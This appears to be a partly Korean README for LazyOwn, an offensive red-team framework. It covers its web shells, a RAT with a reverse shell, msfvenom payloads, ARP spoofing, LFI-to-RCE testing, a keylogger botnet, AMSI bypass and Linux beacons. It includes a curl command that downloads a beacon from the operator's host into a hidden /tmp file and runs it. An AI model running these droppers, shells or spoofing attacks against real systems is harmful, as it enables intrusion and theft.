## YouTube 태그
<https://www.youtube.com/hashtag/lazyown>

## 팟캐스트
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>

## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

## GUI를 사용한 검색
추가 기능 및 개선 사항:
AutocompleteEntry:

자동 완성 목록에서 None 값을 제거하는 필터가 추가되었습니다.
새로운 공격 벡터:

메인 인터페이스에 "새로운 공격 벡터" 버튼이 추가되었습니다.
새로운 공격 벡터를 추가하고 업데이트된 데이터를 Parquet 파일에 저장하는 기능이 구현되었습니다.
CSV로 내보내기:

메인 인터페이스에 "CSV로 내보내기" 버튼이 추가되었습니다.
DataFrame 데이터를 사용자가 선택한 CSV 파일로 내보내는 기능이 구현되었습니다.
사용법:

새로운 공격 벡터 추가: "새로운 공격 벡터" 버튼을 클릭하고, 필드를 입력한 후 저장합니다.
CSV로 내보내기: "CSV로 내보내기" 버튼을 클릭하고 CSV 파일을 저장할 위치를 선택합니다.
새로운 함수 scan_system_for_binaries:

file 명령을 사용하여 파일이 바이너리인지 확인하는 시스템 전체 바이너리 검색을 구현합니다.
os.walk를 사용하여 파일 시스템을 순회합니다.
결과는 GUI 내의 새 창에 표시됩니다.
바이너리 검색 버튼:

메인 인터페이스에 "시스템에서 바이너리 검색" 버튼이 추가되었으며, 이 버튼은 scan_system_for_binaries 함수를 호출합니다.
참고:

is_binary 함수는 Unix file 명령을 사용하여 파일이 바이너리 실행 파일인지 확인합니다. 다른 운영 체제를 사용하는 경우 호환성을 위해 이 방법을 조정해야 합니다.
이 구현은 전체 파일 시스템을 순회하므로 리소스를 많이 사용할 수 있습니다. 특정 디렉터리로 검색을 제한하거나 특정 파일 유형을 필터링하는 추가 옵션을 추가하는 것을 고려할 수 있습니다.```sh
python3 LazyOwnExplorer.py

업데이트하려면 다음과 같이 진행합니다:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh

y listo ya podemos acceder a cualquiera de estas url:

<http://localhost:8080/cgi-bin/lazywebshell.sh>

<http://localhost:8080/cgi-bin/lazywebshell.py>

<http://localhost:8080/cgi-bin/lazywebshell.asp>

<http://localhost:8080/cgi-bin/lazywebshell.cgi>

![image](https://assets.kitploit.com/production/public/readmes/56369/46d7b61ebc8f339f9ddf47b4587e3a3b2e658653754abe25a57d499da42bb54f/810e9f2ec3bc35e4f4a8fb64f8108a85c581bd0448d21b2cb2956b7c5b4814be-display-v1.webp)

## Lazy MSFVenom을 사용한 리버스 셸

    사용자 입력을 기반으로 다양한 페이로드를 생성하기 위해 `msfvenom` 도구를 실행합니다.

    이 함수는 사용자에게 미리 정의된 목록에서 페이로드 유형을 선택하라는 메시지를 표시하고, 원하는 페이로드를 생성하기 위해
    해당 `msfvenom` 명령을 실행합니다. Linux, Windows, macOS, Android 시스템용 다양한 유형의
    페이로드 생성과 C 페이로드에 대한 Shikata Ga Nai를 사용한 선택적 인코딩 등의 작업을 처리합니다.

    생성된 페이로드는 `sessions` 디렉터리로 이동되며, 여기서 적절한 권한이 설정됩니다. 또한
    페이로드는 공간 효율성을 위해 UPX를 사용하여 압축할 수 있습니다. 선택한 페이로드가 Android APK인 경우,
    이 함수는 APK에 서명하고 필요한 후처리 단계를 수행합니다.

    :param line: 스크립트의 명령줄 인수.
    :return: None```sh
run lazymsfvenom or venom

## LazyOwn RAT 사용 모드

![image](https://assets.kitploit.com/production/public/readmes/56369/9402abc4a6c873096e3c6017e35f56d0f3c5f5c66cb15a8b4bc9b8a8d54385f7/c3430588984c7ec596fff9b5d7553c0dd773ee29fa26558af681f93cf5433de4-display-v1.webp)


LazyOwn RAT는 단순하지만 강력한 원격 관리 도구입니다. 서버의 화면을 캡처하는 스크린샷 기능, 감염된 머신에 파일을 업로드할 수 있는 업로드 명령, 그리고 서버로 명령을 보낼 수 있는 C&C 모드를 갖추고 있습니다. 클라이언트 모드와 서버 모드, 두 가지 모드로 동작합니다. 난독화는 적용되지 않았으며, 이 RAT는 BasicRat을 기반으로 합니다. GitHub에서 https://github.com/awesome-security/basicRAT 와 https://github.com/hash3liZer/SillyRAT 에서 찾을 수 있습니다. 후자가 훨씬 더 포괄적이지만, 저는 단지 스크린샷 캡처, 파일 업로드, 명령 전송 기능만 구현하고 싶었습니다. 아마도 향후에 웹캠 보기 기능을 추가할 수도 있지만, 그건 나중의 일입니다.```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key

usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key

LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set

LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set

luego los comandos son:

upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

![image](https://assets.kitploit.com/production/public/readmes/56369/12418a4b1a619614f513a2824b0ed26b369099b463f6e4e58c6f01389c5647f5/24e93754e70d5adbfca3184e65afb178ee598f53a3375c8029e0356233a77d8c-display-v1.webp)

## 복호화 암호화 모드 사용

물론 키가 있다면 파일을 암호화하고 복호화할 수 있게 해주는 암호화 방식입니다.

![Captura de pantalla 2024-06-08 231900](https://assets.kitploit.com/production/public/readmes/56369/67b1d3295f0fc3ebe4d9103a458fd0683ba8d78a426fc36ebcdbe6cfd8c45c87/61ff68c807f4de0641fcc5e74f9d81403d84a8f7eea58a8401e4c6e9b360e76e-display-v1.webp)```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

## LazyOwn GPT One Liner CLI 어시스턴트 및 리서처 사용법

LazyOwn GPT One Liner CLI 어시스턴트로 펜테스팅 작업 자동화의 혁신을 경험해 보세요! 이 놀라운 스크립트는 LazyOwn 도구 모음의 일부로, 펜테스터로서의 삶을 더 효율적이고 생산적으로 만들어 주도록 설계되었습니다.

주요 기능:

지능형 자동화: Groq의 강력한 성능과 고급 자연어 모델을 활용하여 특정 요구 사항에 기반한 정확하고 효율적인 명령을 생성합니다.
사용자 친화적 인터페이스: 간단한 프롬프트만으로 어시스턴트가 원라이너 스크립트를 생성하고 실행하여 복잡한 명령을 만드는 데 드는 시간과 노력을 획기적으로 줄여줍니다.
지속적인 개선: 지식 기반을 지속적으로 변환하고 최적화하여 각 상황에 맞춰 최상의 솔루션을 제공합니다.
간소화된 디버깅: 디버그 모드를 활성화하면 각 단계에서 상세한 정보를 얻을 수 있어 오류를 쉽게 식별하고 수정할 수 있습니다.
원활한 통합: 워크스페이스 내에서 손쉽게 작동하며, Groq API의 성능을 활용하여 빠르고 정확한 응답을 제공합니다.
보안 및 제어:

안전한 오류 처리: 실행 오류를 지능적으로 감지하고 대응하여 생성된 각 명령에 대한 완전한 제어권을 유지할 수 있습니다.
제어된 실행: 명령을 실행하기 전에 확인을 요청하므로 시스템에서 무엇이 실행되는지 정확히 알 수 있어 안심할 수 있습니다.
간편한 구성:

API 키를 몇 초 만에 설정하고 LazyOwn GPT One Liner CLI 어시스턴트가 제공하는 모든 이점을 누려보세요. 이 강력한 도구를 구성하고 잠재력을 극대화하는 데 도움이 되는 빠른 시작 가이드가 제공됩니다.

펜테스터와 개발자에게 이상적:

프로세스 최적화: 보안 감사에서 명령 생성을 간소화하고 가속화합니다.
지속적인 학습: 지식 기반이 지속적으로 업데이트되고 개선되어 항상 최신 모범 사례와 솔루션을 제공합니다.
LazyOwn GPT One Liner CLI 어시스턴트와 함께 업무 방식을 더 빠르고, 더 효율적이며, 더 안전하게 변화시키세요. 반복적이고 복잡한 작업에 시간을 낭비하지 말고, 진정으로 중요한 것, 즉 취약점을 발견하고 해결하는 데 집중하세요!

LazyOwn과 함께 펜테스팅 혁명에 동참하고 생산성을 한 단계 끌어올리세요!

[?] 사용법: python lazygptcli.py --prompt "<your prompt>" [--debug]

[?] 옵션:

--prompt "프로그래밍 작업을 위한 프롬프트 (필수)."
--debug, -d "디버그 메시지를 표시하는 디버그 모드를 활성화합니다."
--transform "Groq을 사용하여 원래 지식 기반을 향상된 기반으로 변환합니다."
[?] 스크립트를 실행하기 전에 API 키를 구성했는지 확인하세요:
export GROQ_API_KEY=<your_api_key>
[->] 방문: https://console.groq.com/docs/quickstart (스폰서 링크가 아님)

요구 사항:

Python 3.x
유효한 Groq API 키
Groq API 키를 얻는 단계:
Groq Console (https://console.groq.com/docs/quickstart)을 방문하여 등록하고 API 키를 받으세요.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

Form 2: 고급 사용법

요청 재생 또는 퍼징과 같은 스크립트의 고급 기능을 활용하려면 다음 단계를 따르세요:

요청 재생:

요청 재생 기능을 사용하려면 앞서 표시된 대로 인수를 제공하세요.
실행 중에 스크립트가 요청을 반복할지 묻습니다. 반복하려면 'y'를 입력하고, 리피터를 종료하려면 'n'을 입력하세요.
퍼징:

퍼징 기능을 사용하려면 -w 또는 --wordlist 인수로 워드리스트를 제공해야 합니다.
스크립트는 URL 및 기타 데이터에서 LAZYFUZZ라는 단어를 제공된 워드리스트의 단어로 대체합니다.
실행 중에 스크립트는 각 퍼징 반복의 결과를 표시합니다.
이것이 lazyburp.py 스크립트를 사용하는 기본 및 고급 방법입니다. 필요에 따라 특정 상황에 가장 적합한 방법을 선택할 수 있습니다.```sh
python3 lazyown_bprfuzzer.py \                                                                                                           ─╯
    --url "http://127.0.0.1:80/LAZYFUZZ" \
    --method POST \
    --headers '{"User-Agent": "LAZYFUZZ"}' \
    --params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
    --data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
    --json_data '{"key3": "LAZYFUZZ"}' \
    --proxy_port 8080 \
    -w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
    -hc 501

![image](https://assets.kitploit.com/production/public/readmes/56369/536bf1028ec5c58968040226c36296d17707cc7236e75a4245c2618835265d78/6ff4dbf1c94f750b69acf64298b86dd7982a7ccbc25d4fdaa69b980a254bd63a-display-v1.webp)
참고: 사전을 사용하려면 /usr/share/seclists 내에서 다음 명령을 실행하세요:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip

![image](https://assets.kitploit.com/production/public/readmes/56369/2c92e5d852a586494d37d892de49b42e849d9602a75cb399dbfef5d2aaf95b44/4cb2b5a8fa35fca9f90ac2471b81765100aaa30b84f11795ee77e727cb3113c0-display-v1.webp)

## LazyReverseShell 모드 사용법

Listen```sh
nc -nlvp 1337 #o el puerto que escojamos

![image](https://assets.kitploit.com/production/public/readmes/56369/207a550ff7c9ce047796bea119a6fd31e0f895b88a8ca98a0c2b231f6e697fd9/d03d9a1178703f93e04997e8d2b10b3a1591e14c707246e517693672653ecc56-display-v1.webp)

## 정찰 모드에서의 Lazy Curl 사용법

이 모듈은 modules 디렉터리에 위치하며 다음과 같이 사용됩니다:```sh
chmod +x lazycurl.sh

사용법.

GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10

TRACE:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
파일 업로드:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt

필요에 따라 매개변수를 조정하고, 각 옵션에 제공하는 값이 각 경우에 유효한지 확인하세요.

## ARPSpoofing 모드 사용법

이 스크립트는 Scapy를 사용한 ARP 스푸핑 공격을 제공합니다. 페이로드에서 lhost, rhost, 그리고 ARP 스푸핑을 수행하는 데 사용할 장치를 설정해야 합니다.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing

## Lazy Own LFI RFI 2 RCE 모드 사용법

LFI RFI 2 RCE 모드는 payload.json에 지정된 파라미터에 대해 잘 알려진 페이로드 일부를 테스트하도록 설계되었습니다. 이를 통해 대상 시스템의 로컬 파일 포함(LFI), 원격 파일 포함(RFI), 원격 코드 실행(RCE) 취약점을 종합적으로 평가할 수 있습니다.

![image](https://assets.kitploit.com/production/public/readmes/56369/3bd4f818fd3a15a099e25d21604b8362e5ce76dee05d56f182a6e4817c81edd6/7ba305b87f294e6253a90746031a826f95bf3c65a850ec3aa4e8b4b90dd41208-display-v1.webp)```sh
payload
run lazylfi2rce

lazysniff 실행
또는 그냥
sniff```

### Experimental Obfuscation Using PyInstaller

This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.


```sh
./py2el.sh```

## Experimental NetBIOS Exploit

This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)


```sh
run lazynetbios```

## Experimental LazyBotNet with Keylogger for Windows and Linux

This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.


```sh
payload
run lazybotnet```

## Interactive Menus

The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.

### Clean Interruption

The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.

## License

This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.

## Acknowledgments ✌

A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive

### Thanks to pwntomate 🍅

An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>

### Thanks to Sicat 🐈

An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>

### Thanks to josefcohernandez

For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.

### Thanks to EQSTLab (via yym8538)

For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.

## BlackSandBeacon — Linux BOF

**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.

### What is Linux BOF?

On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:

- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
  (`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
  no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
  `BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
  so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
  libc equivalents.
- Advanced BOFs can use **direct syscalls via inline assembly** or `io_uring` for
  kernel interaction without libc linking.

### Deployment via LazyOwn

```bash
# 1. 비콘 빌드 및 스테이징
(LazyOwn) > blacksandbeacon

# 2. 대상에 전달 (명령은 대상에서 실행됨)
curl -sk "http://{lhost}:{lport}/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

# 3. BOF 로더 빌드 및 스테이징
(LazyOwn) > blacksandbeacon_bof

# 4. 라이브 세션에 BOF 로더 전달
curl -sk "http://{lhost}:{lport}/bof_loader" -o /tmp/.bof && chmod +x /tmp/.bof && /tmp/.bof```

### Porting a Windows BOF to Linux

```c
// Win32 API 호출을 직접 시스템 콜 또는 libc 동등물로 교체합니다.
// datap API는 동일하게 유지됩니다.
#include "beacon.h"

void go(char *args, int len) {
    datap parser;
    BeaconDataParse(&parser, args, len);
    char *target = BeaconDataExtract(&parser, NULL);
    // Linux: CreateFile 대신 syscall(SYS_open, ...)을 사용합니다.
    BeaconPrintf(CALLBACK_OUTPUT, "target: %s\n", target);
}```

Compile: `gcc -shared -fPIC -nostartfiles -o mybof.so mybof.c`

### Adoption gap this closes

| Capability | Cobalt Strike | Sliver | Havoc | LazyOwn + BlackSandBeacon |
|---|---|---|---|---|
| Windows BOF | Yes | No | No | Yes (via `beacon` addon) |
| Linux BOF | **No** | **No** | **No** | **Yes** |
| ARM BOF | No | No | No | Planned (`blackzincbeacon`) |
| Open source | No | Yes | Yes | Yes |

## Related Projects

LazyOwn ships as the "all-in-one" front of a small ecosystem of focused
red-team tools. Each project below stands on its own and can be wired into
LazyOwn through `lazyaddons/*.yaml`, the C2 implant pipeline, or the MCP
`lazyown_palette --info` view (which exposes the graphify-derived `calls`
and `related` neighbours of every command).

### Lightweight beacons (C / ASM)

Drop-in replacements for the bundled Go beacon when you need a smaller
footprint or per-architecture artefacts:

- **[beacon](https://github.com/grisuno/beacon)** — minimalist Windows beacon in C with BOF support via Early Bird APC injection and NT Native API calls. Pairs with LazyOwn's malleable C2 profile. Wired in via `lazyaddons/beacon.yaml`.
- **[blacksandbeacon](https://github.com/grisuno/blacksandbeacon)** — Linux-native beacon in C with first-class **Linux BOF (Beacon Object File)** support via ELF shared-object injection and direct syscalls. BOFs are loaded at runtime through a `dlopen` runtime — the same extensibility model as Windows BOF but targeting Linux kernel internals. **No commercial C2 framework (including Cobalt Strike) offers Linux BOF support.** Wired in via `lazyaddons/blacksandbeacon.yaml`; BOF loader via `lazyaddons/blacksandbeacon_bof.yaml`.
- **[blackzincbeacon](https://github.com/grisuno/blackzincbeacon)** — ARM build of the same family, for embedded / IoT engagements.

### Lightweight C2 frameworks

Alternative C2 surfaces that speak the same beacon protocol as `lazyc2.py`
or that can serve as a teamserver back-end:

- **[BlackObsidianC2](https://github.com/grisuno/BlackObsidianC2)** — small, fast Go C2 server intended as a stripped-down companion to `lazyc2.py`.
- **[LazyOwnBT](https://github.com/grisuno/LazyOwnBT)** — Bluetooth / proximity-aware C2 PoC; useful when the engagement scope explicitly covers RF.

### AI / orchestration

Drop into LazyOwn through MCP, the `toposwarm` lazyaddon, or directly:

- **[toposwarm](https://github.com/grisuno/toposwarm)** — natural-language router on top of the LazyOwn command catalogue; ships as both a lazyaddon and a Claude Code skill.
- **[LazyOwnOpenCodeAdapter](https://github.com/grisuno/LazyOwnOpenCodeAdapter)** — bridge between LazyOwn and OpenCode-style coding agents.

### Loaders, shellcode runners and post-exploitation

Used both by humans through pwntomate `.tool` files and by the autonomous
daemon when the reactive selector recommends an in-memory technique:

- **[gomulti_loader](https://github.com/grisuno/gomulti_loader)** — multi-platform Go shellcode loader (Linux + Windows). Wired in via `lazyaddons/gomulti_loader_linux.yaml` and `gomulti_loader_windows.yaml`.
- **[win_shellcode](https://github.com/grisuno/win_shellcode)** — collection of Windows shellcode templates ready to be linked from a beacon stub.
- **[ejecutarShellcode](https://github.com/grisuno/ejecutarShellcode)** — minimal "execute-this-shellcode" loaders for quick PoCs.
- **[ShellcodeFluctuation_crosscompile](https://github.com/grisuno/ShellcodeFluctuation_crosscompile)** — cross-compilable port of the ShellcodeFluctuation memory-encryption trick.
- **[LazyLoader](https://github.com/grisuno/LazyLoader)** — generic loader scaffold designed to be extended per engagement.
- **[OverRide](https://github.com/grisuno/OverRide)** — DLL hijack / DLL search-order-override toolkit for Windows persistence.
- **[ShadowLink](https://github.com/grisuno/ShadowLink)** — link-time / symbol-rewrite tooling for Linux ELF stagers.
- **[netsh_helper_dll](https://github.com/grisuno/netsh_helper_dll)** — `netsh` helper-DLL persistence template for Windows.

### Defensive bypass / instrumentation

- **[amsi](https://github.com/grisuno/amsi)** — AMSI bypass research and PoCs; invoked from LazyOwn payloads when AV/EDR is the limiting factor.

### Exploits and CVE PoCs

LazyOwn already vendors several recent kernel-class PoCs through the addon
system (`lazyaddons/copyfail.yaml`, `lazyaddons/dirtyfrag.yaml`,
`lazyaddons/CVE-2022-22077.yaml`, `lazyaddons/CVE_2025_24071_PoC.yaml`,
`lazyaddons/ebird3.yaml`). The original repositories are listed here for
auditability and citation:

- **[CVE-2022-22077](https://github.com/grisuno/CVE-2022-22077)** — RTCore64.sys arbitrary R/W IOCTL — used by the LazyOwn BYOVD chain.
- **[copy-fail-CVE-2026-31431](https://github.com/grisuno/copy-fail-CVE-2026-31431)** — next-gen Dirty Pipe variant. Backed by the `copyfail` lazyaddon.
- **[ebird3](https://github.com/grisuno/ebird3)** — Early-Bird APC injection + NT Native API loader; produces stealthy in-memory Windows payloads.

> **Want to add yours?** Drop a `lazyaddons/<name>.yaml` describing
> `repo_url`, `install_command` and `execute_command`; LazyOwn will pick it
> up automatically and surface it through the MCP `lazyown_palette` view.

## Abstract

LazyOwn is a framework that streamlines its workflow and automates many tasks and tests through aliases and various tools, functioning like a Swiss army knife with multipurpose blades for hacking xD.

## Lazyducky_digispark

![LazyOwn](https://github.com/user-attachments/assets/b7e8c257-c0de-4033-bf4b-57ebc87dcb97)

      Compiles and uploads an .ino sketch to a Digispark device using Arduino CLI and Micronucleus.

        This method checks if Arduino CLI and Micronucleus are installed on the system.
        If they are not available, it installs them. It then compiles a Digispark sketch
        and uploads the generated .hex file to the Digispark device.

        The method performs the following actions:

---

[Read more](https://github.com/grisuno/lazyown)